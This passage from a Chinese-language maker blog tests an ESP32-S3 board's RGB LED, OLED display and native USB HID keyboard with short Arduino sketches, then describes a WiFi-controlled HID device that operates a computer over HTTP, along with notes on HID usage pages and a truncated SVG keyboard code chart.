<pre class="brush:cpp">#include <Adafruit_NeoPixel.h>
#define RGB_PIN 39
#define RGB_COUNT 1
#define BOOT 0
#define EMPTY 0x00
#define LEVEL 0x10
bool pressed = false;
byte increment = 0;
const uint32_t PROGMEM COLORS[] = {
EMPTY << 16 | EMPTY << 8 | EMPTY,
LEVEL << 16 | EMPTY << 8 | EMPTY,
EMPTY << 16 | LEVEL << 8 | EMPTY,
EMPTY << 16 | EMPTY << 8 | LEVEL,
LEVEL << 16 | LEVEL << 8 | EMPTY,
EMPTY << 16 | LEVEL << 8 | LEVEL,
LEVEL << 16 | EMPTY << 8 | LEVEL,
LEVEL << 16 | LEVEL << 8 | LEVEL,
};
Adafruit_NeoPixel rgb(RGB_COUNT, RGB_PIN, NEO_GRB + NEO_KHZ800);
void setup() {
pinMode(BOOT, INPUT_PULLUP);
}
void loop() {
if (pressed == false && digitalRead(BOOT) == LOW) {
pressed = true;
increment++;
increment %= sizeof(COLORS) / sizeof(const uint32_t PROGMEM);
rgb.setPixelColor(0, COLORS[increment]);
rgb.show();
} else if (pressed == true && digitalRead(BOOT) == HIGH) {
pressed = false;
}
delay(10);
}</pre>
<p>使用 BOOT按鈕 切換 RGB LED 顏色</p>
-->
<a name="ESP32-S3-0.42in-OLED-OLED測試"></a><h5 class="mra-h5">OLED 測試</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAem7fUTea6tADuwhLraC1QKha6uEopzqs0xBP4mKS7goOs9PVG8c6_WhI9qGRCDmWvE-zkRG67muDZbzu0xkxoDkvK3mhIURFfDU3DqNU3k161tgxxcIBbt0dVW6CnWTYaHXWmJEjCI6YQbTC872JA7Ck6J4R8_ABj95UgzjC45Zu5HtrJ22_LTnqQ4/w0/ep32-wifi-hid-014.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAem7fUTea6tADuwhLraC1QKha6uEopzqs0xBP4mKS7goOs9PVG8c6_WhI9qGRCDmWvE-zkRG67muDZbzu0xkxoDkvK3mhIURFfDU3DqNU3k161tgxxcIBbt0dVW6CnWTYaHXWmJEjCI6YQbTC872JA7Ck6J4R8_ABj95UgzjC45Zu5HtrJ22_LTnqQ4/w0/ep32-wifi-hid-014.png"/></a></div>
<p>安裝 <span class="mra-highlighter">u8g2函式庫</span>,簡化控制 OLED 的流程</p>
<div><a href="https://photos.google.com/share/AF1QipMgf3sgfu5hnVXvNzGxJhsnNHz4XliCkrAnatvXQhdzA5wWegotbF9uHy6T131Zbw/photo/AF1QipNMSs8jjv1QpyOI0J0hQFijwI8YZiG21uH8wsVr?key=S1VZN0pLX1lYNk5wakVRenBtUmhhUDlnWjhvcVNn"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV87276lCD02oIQ7mCFBOxATLKtPVaLoFGBttsVxBFRuo3gxOn9z4QF94ek5yCHyZXuMOIgPWVWguCRk3C7zp23zvQUYcaS9OYgtrfRHJqN54clSzjX2TLz9cscgFYy7_7nnLv8c-jHolD5LwFg--5984gbzwOlhObLhR5JjpG6jIm9jOVC_0mN5Tv1CLdIRP7FD8s0aEpfdkNPZt3Vpd7LLZKruifV0OVf_C97NAq0Jze9srkmWMBsO7FuKDE_4r422YcnkmeKuboVEznV_Ih74ZMYkq3wQ5T6eHYm-HxXfvNPh9-ZkuaKAcFsDR1vqv7y38liDl0Q_m15GKunbRL_gGOph83byO2NTPOnHl_qcp44mTlFwPKR7GLaXEaYXM72ks7eSJeybBUjaP9cjg6tLYhbnPNEY3LInEsAq-AyrsLYKuWvC2kIq5idSnwHSJYpPVmijx1CTz_GO15bjZSGjLiJib5m7NDkL9CrmNn2CC9B4SSWA16MDD21tDnFrbQP19Zln3t5cYQq0hDRg9j8oIjo86t9JZwX3x8Gf6EM67ncT7nK1PD0c5bW7UxT3pMr0878cLqWsHR03EIWlqo3jXFXgWwtPVzlC1IuRVUetMA8xrIKGc4Ir2YTvfxEa9I1n3bxqKzo7q3Goc7MR0GWH4dv9J2he2TXONQYD0ekfPZ2pl5hmHQPhTgE-vjuMPyjf-4VCSpOLkhDeVAe9sxtvF9dW3A3xXQBBNdlzzVDwVQnY5mJO_5VHcfmqOiORFunp935y9StWOVbKrmipwMr5kkeRzs7Su5c_5XcXNHrTyMQq-3ljiGQ_-XUFXjlvuWV5yyMVKyazK6WbkyvgsioovpgcrNPXACJaKwr_WoEYNDRBdl055od4wXw2VQcy8r3A_tc_NMQdpthOJX9oshjHxqB0uGXjafkAQshBc-q3pMOf01madGuXHJnZi7cJ5TMeCqy13HdqXdsqGBPmDR1uINL_RbN9sWJBhQEQB1Ep2rLmY6Y1aH_IlTYUlTgKSEVVJ=w600"/></a></div>
<pre class="brush:cpp">#include <U8g2lib.h>
#define I2C_SCL 40
#define I2C_SDA 41
U8G2_SSD1306_72X40_ER_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE, I2C_SCL, I2C_SDA);
void setup() {
u8g2.begin();
u8g2.clear();
u8g2.setFontPosTop();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.setDrawColor(1);
u8g2.drawStr(0, 0, "hello, world");
u8g2.drawStr(0, 8, "Raspberry Pi");
u8g2.drawStr(0, 16, "Arduino Nano");
u8g2.drawStr(0, 24, "ESP32S3-OLED");
u8g2.drawStr(0, 32, "HKGoldenMr.A");
u8g2.sendBuffer();
}
void loop() {
delay(1);
}</pre>
<p>控制 OLED 顯示資料<br/>
接駁電源 至 顯示畫面 所需時間大約為 0.5秒</p>
<a name="ESP32-S3-0.42in-OLED-USBHID測試"></a><h5 class="mra-h5">USB HID 測試</h5>
<pre class="brush:cpp">#include <USB.h>
#include <USBHIDKeyboard.h>
USBHIDKeyboard Keyboard;
void setup() {
USB.begin();
Keyboard.begin();
delay(1000);
Keyboard.print("hello, world");
}
void loop() {
}</pre>
<p>ESP32-S3 不是使用 <span class="mra-highlighter">Keyboard.h</span> 及 <span class="mra-highlighter">Mouse.h</span> 而是原生的 USB HID 函式庫<br/>
因此不需要安裝額外函式庫即可使用 USB HID</p>
<table class="mra-collapse mra-table" width="50%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="50%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th>函式庫名稱</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr>
<td>USBHIDKeyboard.h</td>
<td>鍵盤控制</td>
</tr>
<tr>
<td>USBHIDMouse.h</td>
<td>滑鼠控制</td>
</tr>
<tr>
<td>USBHIDConsumerControl.h</td>
<td>與使用者感受相關的控制</td>
</tr>
<tr>
<td>USBHIDSystemControl.h</td>
<td>系統控制</td>
</tr>
<tr>
<td>USBHIDGamepad.h</td>
<td>遊戲控制器控制</td>
</tr>
</tbody>
</table>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAAcNs5XgRo5mynHCi3r2bh8QdK7X3NLL8zH8CWcoUmoGkuUEzwgIzF9hR-ilpPw-mQ9C1Ab7Fcr6WaH7RWePZka-CaDUZoF2ij3YOd83xoGno4FICYQi2oc19Sk_IXSlMG5q_mgPHDwbEkVm9Bg0pYw14wjMIBvCbO7EkVV97A9ducVG6SG827OkxvPM/w0/ep32-wifi-hid-016.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAAcNs5XgRo5mynHCi3r2bh8QdK7X3NLL8zH8CWcoUmoGkuUEzwgIzF9hR-ilpPw-mQ9C1Ab7Fcr6WaH7RWePZka-CaDUZoF2ij3YOd83xoGno4FICYQi2oc19Sk_IXSlMG5q_mgPHDwbEkVm9Bg0pYw14wjMIBvCbO7EkVV97A9ducVG6SG827OkxvPM/w0/ep32-wifi-hid-016.png"/></a></div>
<p>但當 ESP32-S3 設置為 USB HID 後, Arduino IDE 會無法找到 ESP32-S3 的連接埠<br/>
但 ESP32-S3 連接到 電腦後,卻能執行鍵盤輸入效果<br/>
即是 ESP32-S3 運作正常,卻未能讓 Arduino IDE 偵測</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivJhVAtjKA-hHb3IgbGvrR1B45t7cmt3C1QDSm_09eLP_ZSX1-MQKDA8lVtYUG4LEEFDQW6PXA1WpzIbJdJXYfMH9HZzPr7xDsjwSH7I9rDmq8aIa53pDjt7sAvzZ2tYYZRLE7L0oF25KZNS9SB9aXRwLjfRFFasvgRj05AiJzDbp7V0Q-1g8egg9yJoc/w0/ep32-wifi-hid-017.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivJhVAtjKA-hHb3IgbGvrR1B45t7cmt3C1QDSm_09eLP_ZSX1-MQKDA8lVtYUG4LEEFDQW6PXA1WpzIbJdJXYfMH9HZzPr7xDsjwSH7I9rDmq8aIa53pDjt7sAvzZ2tYYZRLE7L0oF25KZNS9SB9aXRwLjfRFFasvgRj05AiJzDbp7V0Q-1g8egg9yJoc/w0/ep32-wifi-hid-017.png"/></a></div>
<p>USB裝置列表 能顯示 ESP32-S3 , 但在 /dev 中卻找不到 <span class="mra-highlighter">抽象控制模型(Abstract Control Model (ACM))</span><br/>
然而卻找到新的 <span class="mra-highlighter">原始人機界面裝置 (Human Interface Device Raw (HIDRAW))</span><br/>
(中斷 ESP32-S3 的連接後, /dev/hidraw0 消失)</p>
<p>在下估計是由於 ESP32-S3 被設定為 USB HID 後,電腦會將 ESP32-S3 當作 USB HID 而不是開發板<br/>
因此如果需要更新韌體時,便需要先按著 ESP32-S3 的 BOOT按鈕 ,並重新啟動 ESP32-S3 載入到 BOOT模式<br/>
才可讓電腦將 ESP32-S3 辨識為 ACM ,才能更新韌體</p>
<p>由於 ESP32-S3 支援 <span class="mra-highlighter">OTA更新韌體</span> ,若果要避免因為使用 USB HID 而無法更新韌體<br/>
可以在程式碼中加入 <span class="mra-highlighter">WiFi.h</span> 及 <span class="mra-highlighter">ArduinoOTA.h</span> 函式庫及其功能,便可以透過 OTA 更新 ESP32-S3 的韌體</p>
<a name="ESP32WiFiUSBHID"></a><h4 class="mra-h4">ESP32 WiFi USB HID</h4>
<p></p>
<div><a href="https://photos.google.com/share/AF1QipMgf3sgfu5hnVXvNzGxJhsnNHz4XliCkrAnatvXQhdzA5wWegotbF9uHy6T131Zbw/photo/AF1QipO2voO7aV91k4AdU5ONgHZhJh0ft6NDarNgYeXo?key=S1VZN0pLX1lYNk5wakVRenBtUmhhUDlnWjhvcVNn"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV855SNrbLkHGGFw7QQzGuXVKVdkjxAgB5cwniZfgaE2QmZRiBs3pqETxu7GdLTpxkEmhe3D08iq76wxwVCiyDSRXNGlL1ZUcWTdJwV1tKDR6gSpF7H7RW56LcAKwOaotcPPcx5up26EOTeVnI9JiFrLKb1NZeyKZGa9UtAVYHgpkP-ZA1BknVOwp9tInyFEc4sF4Zk5Evks6JQpO7K3bLGeEkEHSccW4gilErRAsKwtsb-JHGddoXHqh12YPizVublR-0ScYW79fKj3dRWb9Sc21ZNlIVzYTsLBFr2Y-x48RxPya3lW-sgf5Cy4_Lh4Jab1YAOnX9JBX2OMpd_rhqLDTNBu4lzeODpc5g9i5WJUabdd7jHQCiqVGXia9rElLpIcaC0Z7TvBX7wfE4-I7-J55qmtQRDYw0ysoMW4VCkqzS1ncPj_S8xw9_fy7H5p1njM-O43QoHCEw-ueEclaHsJwD7lIAiWhQQJtOZqjGZusUxXp6kFDnXlo1tSa9jfV_BLT7CjZL8IgzPcUi8FJfqkDsMXv4jNmvA6MZNPnMhApPODTkEx8TYBZgBYYyM7uClaK3TtrkZa5wvwgtgq7FldhxPYCaHnvqQ4Tu2RnE0GMjqGfoYYiaJH9lt_UUVlEHZ0zfaoeSvB_QSuU1m4ikIATRuWs_DIq-TPh7wQ3IUZ8aYvHV0mHxx4uPzB58NnMgnxSXWSFw-6KvMyQyhY16I-UvNzF-nwXErXXdQegYPOAXXJpcZviRWMnSzgfW9PyON07Cikw7R_3UpaNONwbfN3NrBNMkuhmb5iAnC5aOFod3Z1EqAzzu4szLNnMuMdNG8vFnGHpJE66xpUeV78Xot7zJ3H3lZRigigXcABbIF_-a4xnF4P4mjFG3vVwGdBvOn796FTIIwQcYNFbj_ycIuZO233zOX1d46KHb2oRPcEP2zMnoJ-riwiRCC0--p-YOKWj_reuWh831vbCtKQs8js754Mq2tSwkJepKpvIfLwW2elWoKVp9Lsac4FOVkcqklHq=w600"/></a></div>
<p>配合 u8g2 ,將連接資訊在 OLED 中顯示,方便連接到 ESP32-S3 的網頁伺服器</p>
<p>使用 WiFi USB HID 有兩將方法連接<br/>
最簡單是連接到 ESP32-S3 <span class="mra-highlighter">存取點 (Access Point(AP))</span><br/>
最大好處是不受其他網絡存取限制,但連接距離受 ESP32-S3 的訊號範圍限制<br/>
亦可以使用 <span class="mra-highlighter">WiFiManager</span> 互動方式連接到其實無線網絡,不需要指定網絡及避免洩漏密碼<br/>
如果閣下是該網絡的擁有者,甚至可以將 <span class="mra-highlighter">通訊埠轉發 (Port Forwarding)</span> ,允許其他網絡連接<br/>
但如果閣下並非該網絡的擁有者,則會受到限制</p>
<div><a href="https://photos.google.com/share/AF1QipMgf3sgfu5hnVXvNzGxJhsnNHz4XliCkrAnatvXQhdzA5wWegotbF9uHy6T131Zbw/photo/AF1QipOQt1pNdFaRaHEx9_xDrwQqEzRSjiXVxTnsd11h?key=S1VZN0pLX1lYNk5wakVRenBtUmhhUDlnWjhvcVNn"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV84K3mb9n9QmXORTxS8Ep8iPHpnD9fdms96kPPp7fyJ4TiuQKe9FDBFVJvo6YbWFRuAhPrXP95uUkawVFBlxiGfUD2DeeyPJSiEIBM20B4bDVVXw8VNtTYhcR_HfGtnGNuc9OdcWyGqtWBfqErFyKHq4l-ySjHgEpMa2fyjyECRvX_nfUuWQQ-kmwwUrbMfSbPAbXEdy3wtf79rSwjiNDb7xY7e7FzoFiVYiGvK61X4zpkbFK3xkySbLOzIyl344Kw-imxnb-VGZYiJh4V6683mhSmNzX9Zk_t_ruY0OF2uy9CKAK0QXoVY0A1InagzmohGP718zy1KjbvTINuuLAaCig6lclDisvvGLheOxLvfQ9aq_Tg4TApaH9ts8MTyzTR6-h8qVBexxByHQ3PZH2iolgLS7WcHvt-DL89K0z2B03jHIapGVF0FBKlkkApUwPbK0-oITkANKkrVWMlB__PcV6HFprrNZ8dX8RKzJmsOhl2_-buU4jE946wY-aRtBT-JzGGe8zJuhM11EIYqPcAjUpns-fX-8Sz4neMpZcMMEvr0vypNaWIRJKADfijRUVjcRlYJXC5Kfd9gNzS9kEMzIrEuxM0c_H5qcUBqQyZ4huQzZZGgv6K8ZozpYhwb8ltVji9BpI40b4FTA9UMBISLz-Tsq2KBLTHabb0qm3AIhEGQo4TCumo4pfGty0qerqZ41ezCcviSFHcG2RTMPaZefpKDX3naVZZ_OQFAqydpHBKuRVAokw3LYeEXEr2k6W_meoX1OHym75xOCFeAX2aSNTsmMXfeQPzdVG6cTuI7Br74Rqf8WGEelacWe99G96GZ5nl7f1fJ_MZTaIeGoA4VfdCmHXTD8ii7dy-Th0ajOFjQjHvTXN7sCWNVNK8R6Q2zMD12GqXo0P8UktZfdyuz26nvL8A-MebLK3Fr04B_rOkViLE2s_RBxOd9Ok1r9oJAWf-UESSt-88cYqax4wwIsGUNDp6qpSkBdDZ-N3y3cdV3Z0cSUAnbsT2AYT_NpzZAJ=w600"/></a></div>
<p>使用 HTTP請求 來控制 電腦</p>
<div><a href="https://photos.google.com/share/AF1QipMgf3sgfu5hnVXvNzGxJhsnNHz4XliCkrAnatvXQhdzA5wWegotbF9uHy6T131Zbw/photo/AF1QipPAy0Vjkka3eypajC0uK4yaxK3vTg9usao9ZuEZ?key=S1VZN0pLX1lYNk5wakVRenBtUmhhUDlnWjhvcVNn"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV86sKURpOjj1UUKOXdPLD55wuW0SazFA5flPEk_Tjjj9TNDeL6fBsnX-FqC78RBhWbl9PsuaTcVw4g1KdRCa5kxGcyWvVIwna8V3WOcdADvqBL-bpAR1EzI7r1zk1NFXYarWxfGf847LtH526l3B9G1MxCc0Jaffx-5urhZ2t9TOQn2dy97WZe0a5MZxNfo1SybOAdUltSeBknwC86Jp3m9MI_xDJp_ip5_szXZZcIZHW8y-CSR1ShW17ATxtufsuKRamK3vtyo_7ywmTUF6kO1b3mPjW6pEQQ-WiuOpoyvRhXEQz-YNUBfhSVfKnIk5Z0p2PK5Gp0B8oBQjQVGUMJEXC9hfzaQjDDkMkHVY_XP-MYU-IguB37oE1LiSeoQEAWGPBndLJVWwURKeBELr8LpTsJQ4UlatRHP3ZPBjhFd4s_uMCuimVZVBSP0mlQOlAfNo09VBGYHy3uYIVn0ZdL4GurRt0rkCWzBLcImtmvnhIHAQzXht8o58TnjUMNGXqg1SYgPf3EMQTT1VPISu-wrcnKsocp_udecQcxKc9c5_XffSS-8fCjdNMPm6OXVkmC30lr-ZObVY3jx4Zv29_JD7we2dniHa1tlzObxUY-Lh5dKyU9YjLGWKSaFED4CqhA81PILsNIElKxkFwpeX1RSZEIVtkR4mArzjoA1LR8sreqHqcO5Nvj7H2R414YRS8cHeoQqnIhYQP5qCIrrC4IJ43mSEfxk4gHtFFIQrQs41nMdndMBfTdcF65_ciu0A_m-FCdGxxYk1UnNe8qlRBwjWrS0r6gaqpAsGE7uzrd_rOzDwDMhtQ5Rd7ewlv9BRqmD2QOFCijg8Pi6IgVuS_2E9YEpm4sMnFb8vULQ7lKJHa2FbvQTGKgQKGcEIJZG8J7mTOlKTpO1rDJmYmC27g4BHwfYi1EttsPf5NysBCQHvxI9uVWvqhnl66bNLd94=w600"/></a></div>
<p>除了基本的鍵盤及滑鼠操作,還可以控制 音量 、 亮度<br/>
甚至 關機 、 重新開機 、 休眠 都能夠控制</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>這個專案與之前使用 ATmega32u4 相同,都是使用低成本工具模仿昂貴工具<br/>
WiFi USB HID 能夠無線連接及即時互動操作,的確比 SD卡 更方便<br/>
而且 ESP32-S3 的運作速度比 ATmega32u4 更快,可以更快速輸入及執行指令<br/>
另外 ROM容量 及 RAM容量 亦比 ATmega32u4 多,能編寫更多功能以執行更多操作</p>
<p>操作上,雖然類似 VNC ,但 WiFi USB HID 最大的好處就是能使用存取點連接<br/>
有些網絡由於安全考慮而限制內聯網絡的存取權限,或封鎖連接埠,而令裝置無法使用網絡<br/>
而由於 WiFi USB HID 是硬件連接,除了不需要在系統安裝軟件,還可以遙距操作<br/>
不過使用存取點的連接距離則無法經互聯網連接,只能有限度地遙距操作</p>
<p>配合網頁伺服器的操作,還能夠使用類似 Curl 的 HTTP請求 工具<br/>
快速執行大量腳本操作,非常適合即時、重覆性高的任務</p>
<p>但使用要注意, ESP32 的工作溫度比較高,直接接觸 ESP32 的晶片有機會被灼傷</p>
<p>不過仍然無法流暢使用,例如在下經常使用中文輸入法輸入中文字<br/>
當輸入法為並非英文時,會無法執行輸入文字的功能</p>
<p>HID 除了支援鍵盤、滑鼠、遊戲控制器等常見的 USB裝置 外,還包括:</p>
<div>
<ul>
<li>電話(Telephony)</li>
<li>電視(Television)</li>
<li>媒體(Media)</li>
<li>電源(Power)</li>
<li>電池(Battery)</li>
</ul>
</div>
<p>由於類別非常多,在下不列具所有設備,簡單而言 HID 足夠函蓋所有已知的輸入設備<br/>
而且還有保留 <span class="mra-highlighter">16位元 功能分頁(Usage Page)</span>,而且每個分頁提供 <span class="mra-highlighter">16位元 功能編號(Usage ID)</span><br/>
即是 HID 能夠支援 60000多種設備,而每種設備支援 60000多個功能<br/>
例如在下測試的 亮度控制 及 音量控制 並非只能控制電腦的設定值<br/>
而是只要該裝置都使用對應的 HID 標準設計,便可以使用相同的方法控制<br/>
在下測試自己的 電話 及 電視都 能用相同的方法控制 亮度 及 音量<br/>
即是只要能夠了解裝置使用 HID 分頁的類別,便可以自行製作控制該裝置的控制器<br/>
並透過支援 USB協定 的微控制器,將控制指令傳送到目標裝置</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.usb.org/sites/default/files/hut1_4.pdf">USB HID Usage Tables @ usb.org</a></li>
</ul>
</div><!--
<svg version="1.1" width="680" height="250" viewBox="0,0 680,250" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<rect id="mra-button-30w" width="30" height="30" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
<rect id="mra-button-40w" width="40" height="30" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
<rect id="mra-button-50w" width="50" height="30" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
<rect id="mra-button-60w" width="60" height="30" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
<rect id="mra-button-65w" width="65" height="30" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
<rect id="mra-button-70w" width="65" height="30" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
<rect id="mra-button-190w" width="190" height="30" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
<rect id="mra-button-60h" width="30" height="60" fill-opacity="0.001" fill="#FF0000" stroke="#000000" stroke-width="1"/>
</defs>
<rect width="680" height="250" fill="#FFFFFF"/>
<g transform="translate(10,10)" font-family="Courier New" font-size="6">
<g transform="translate(0,40)">
<use xlink:href="#mra-button-30w" tabindex="0" aria-label="Escape"/>
<use xlink:href="#mra-button-30w" x="50" tabindex="0" aria-label="Escape"/>
<use xlink:href="#mra-button-30w" x="80" tabindex="0" aria-label="F 1"/>
<use xlink:href="#mra-button-30w" x="110" tabindex="0" aria-label="F 2"/>
<use xlink:href="#mra-button-30w" x="140" tabindex="0" aria-label="F 3"/>
<use xlink:href="#mra-button-30w" x="180" tabindex="0" aria-label="F 4"/>
<use xlink:href="#mra-button-30w" x="210" tabindex="0" aria-label="F 5"/>
<use xlink:href="#mra-button-30w" x="240" tabindex="0" aria-label="F 6"/>
<use xlink:href="#mra-button-30w" x="270" tabindex="0" aria-label="F 7"/>
<use xlink:href="#mra-button-30w" x="310" tabindex="0" aria-label="F 8"/>
<use xlink:href="#mra-button-30w" x="340" tabindex="0" aria-label="F 9"/>
<use xlink:href="#mra-button-30w" x="370" tabindex="0" aria-label="F 11"/>
<use xlink:href="#mra-button-30w" x="400" tabindex="0" aria-label="F 12"/>
<use xlink:href="#mra-button-30w" x="440" tabindex="0" aria-label="Print Screen"/>
<use xlink:href="#mra-button-30w" x="470" tabindex="0" aria-label="Scroll Lock"/>
<use xlink:href="#mra-button-30w" x="500" tabindex="0" aria-label="Pause"/>
<g transform="translate(0,27)" text-anchor="middle">
<text x="15">ESC</text>
<text x="65">F1</text>
<text x="95">F2</text>
<text x="125">F3</text>
<text x="155">F4</text>
<text x="195">F5</text>
<text x="225">F6</text>
<text x="255">F7</text>
<text x="285">F8</text>
<text x="325">F9</text>
<text x="355">F10</text>
<text x="385">F11</text>
<text x="415">F12</text>
<text x="455">Print</text>
<text x="485">Scroll</text>
<text x="515">Pause</text>
</g>
<g transform="translate(0,6)">
<text x="1">0xB1</text>
<text x="51">0xC2</text>
<text x="81">0xC3</text>
<text x="111">0xC4</text>
<text x="141">0xC5</text>
<text x="181">0xC6</text>
<text x="211">0xC7</text>
<text x="241">0xC8</text>
<text x="271">0xC9</text>
<text x="311">0xCA</text>
<text x="341">0xCB</text>
<text x="371">0xCC</text>
<text x="401">0xCD</text>
<text x="441">0xCE</text>
<text x="471">0xCF</text>
<text x="501">0xD0</text>
</g>
</g>
<g transform="translate(0,80)">
<use xlink:href="#mra-button-30w" tabindex="0" aria-label="~"/>
<use xlink:href="#mra-button-30w" x="30" tabindex="0" aria-label="1"/>
<use xlink:href="#mra-button-30w" x="60" tabindex="0" aria-label="2"/>
<use xlink:href="#mra-button-30w" x="90" tabindex="0" aria-label="3"/>
<use xlink:href="#mra-button-30w" x="120" tabindex="0" aria-label="4"/>
<use xlink:href="#mra-button-30w" x="150" tabindex="0" aria-label="5"/>
<use xlink:href="#mra-button-30w" x="180" tabindex="0" aria-label="6"/>
<use xlink:href="#mra-button-30w" x="210" tabindex="0" aria-label="7"/>
<use xlink:href="#mra-button-30w" x="240" tabindex="0" aria-label="8"/>
<use xlink:href="#mra-button-30w" x="270" tabindex="0" aria-label="9"/>
<use xlink:href="#mra-button-30w" x="300" tabindex="0" aria-label="0"/>
<use xlink:href="#mra-button-30w" x="330" tabindex="0" aria-label="-"/>
<use xlink:href="#mra-button-30w" x="360" tabindex="0" aria-label="="/>
<use xlink:href="#mra-button-40w" x="390" tabindex="0" aria-label="Backspace"/>
<use xlink:href="#mra-button-30w" x="440" tabindex="0" aria-label="Insert"/>
<use xlink:href="#mra-button-30w" x="470" tabindex="0" aria-label="Home"/>
<use xlink:href="#mra-button-30w" x="500" tabindex="0" aria-label="Page Up"/>
<use xlink:href="#mra-button-30w" x="540" tabindex="0" aria-label="Num Lock"/>
<use xlink:href="#mra-button-30w" x="570" tabindex="0" aria-label="Num /"/>
<use xlink:href="#mra-button-30w" x="600" tabindex="0" aria-label="Num *"/>
<use xlink:href="#mra-button-30w" x="630" tabindex="0" aria-label="Num -"/>
<g transform="translate(0,27)" text-anchor="middle">
<text x="15">`</text>
<text x="45">1</text>
<text x="75">2</text>
<text x="105">3</text>
<text x="135">4</text>
<text x="165">5</text>
<text x="195">6</text>
<text x="225">7</text>
<text x="255">8</text>
<text x="285">9</text>
<text x="315">0</text>
<text x="345">-</text>
<text x="375">=</text>
<text x="410">Backspace</text>
<text x="455">Insert</text>
<text x="485">Home</text>
<text x="515">PageUp</text>
<text x="555">Num</text>
<text x="585">Num/</text>
<text x="615">Num*</text>
<text x="645">Num-</text>
</g>
<g transform="translate(0,6)">
<text x="1">0xBD</text>
<text x="31">0xA6</text>
<text x="61">0xA7</text>
<text x="91">0xA8</text>
<text x="121">0xA9</text>
<text x="151">0xAA</text>
<text x="181">0xAB</text>
<text x="211">0xAC</text>
<text x="241">0xAD</text>
<text x="271">0xAE</text>
<text x="301">0xAF</text>
<text x="331">0xB5</text>
<text x="361">0xB6</text>
<text x="391">0xB2</text>
<text x="441">0xD1</text>
<text x="471">0xD2</text>
<text x="501">0xD3</text>
<text x="541">0xDB</text>
<text x="571">0xDC</text>
<text x="601">0xDD</text>
<text x="631">0xDE</text>
</g>
</g>
<g transform="translate(0,110)">
<use xlink:href="#mra-button-40w" tabindex="0" aria-label="Tab"/>
<use xlink:href="#mra-button-30w" x="40" tabindex="0" aria-label="Q"/>
<use xlink:href="#mra-button-30w" x="70" tabindex="0" aria-label="W"/>
<use xlink:href="#mra-button-30w" x="100" tabindex="0" aria-label="E"/>
<use xlink:href="#mra-button-30w" x="130" tabindex="0" aria-label="R"/>
<use xlink:href="#mra-button-30w" x="160" tabindex="0" aria-label="T"/>
<use xlink:href="#mra-button-30w" x="190" tabindex="0" aria-label="Y"/>
<use xlink:href="#mra-button-30w" x="220" tabindex="0" aria-label="U"/>
<use xlink:href="#mra-button-30w" x="250" tabindex="0" aria-label="I"/>
<use xlink:href="#mra-button-30w" x="280" tabindex="0" aria-label="O"/>
<use xlink:href="#mra-button-30w" x="310" tabindex="0" aria-label="P"/>
<use xlink:href="#mra-button-30w" x="340" tabindex="0" aria-label="["/>
<use xlink:href="#mra-button-30w" x="370" tabindex="0" aria-label="]"/>
<use xlink:href="#mra-button-30w" x="400" tabindex="0" aria-label="\"/>
<use xlink:href="#mra-button-30w" x="440" tabindex="0" aria-label="Delete"/>
<use xlink:href="#mra-button-30w" x="470" tabindex="0" aria-label="End"/>
<use xlink:href="#mra-button-30w" x="500" tabindex="0" aria-label="Page Down"/>
<use xlink:href="#mra-button-30w" x="540" tabindex="0" aria-label="Num 7"/>
<use xlink:href="#mra-button-30w" x="570" tabindex="0" aria-label="Num 8"/>
<use xlink:href="#mra-button-30w" x="600" tabindex="0" aria-label="Num 9"/>
<use xlink:href="#mra-button-60h" x="630" tabindex="0" aria-label="Num +"/>
<g transform="translate(0,27)" text-anchor="middle">
<text x="20">Tab</text>
<text x="55">Q</text>
<text x="85">W</text>
<text x="115">E</text>
<text x="145">R</text>
<text x="175">T</text>
<text x="205">Y</text>
<text x="235">U</text>
<text x="265">I</text>
<text x="295">O</text>
<text x="325">P</text>
<text x="355">[</text>
<text x="385">]</text>
<text x="415">\</text>
<text x="455">Delete</text>
<text x="485">End</text>
<text x="515">PageDn</text>
<text x="555">7</text>
<text x="585">8</text>
<text x="615">9</text>
</g>
<g transform="translate(0,6)">
<text x="1">0xB3</text>
<text x="41">0x9C</text>
<text x="71">0xA2</text>
<text x="101">0x90</text>
<text x="131">0x9D</text>
<text x="161">0x9F</text>
<text x="191">0xA4</text>
<text x="221">0xA0</text>
<text x="251">0x94</text>
<text x="281">0x9A</text>
<text x="311">0x9B</text>
<text x="341">0xB7</text>
<text x="371">0xB8</text>
<text x="401">0xB9</text>
<text x="441">0xD4</text>
<text x="471">0xD5</text>
<text x="501">0xD6</text>
<text x="541">0xE7</text>
<text x="571">0xE8</text>
<text x="601">0xE9</text>
<text x="631">0xDF</text>
</g>
</g>
<g transform="translate(0,140)">
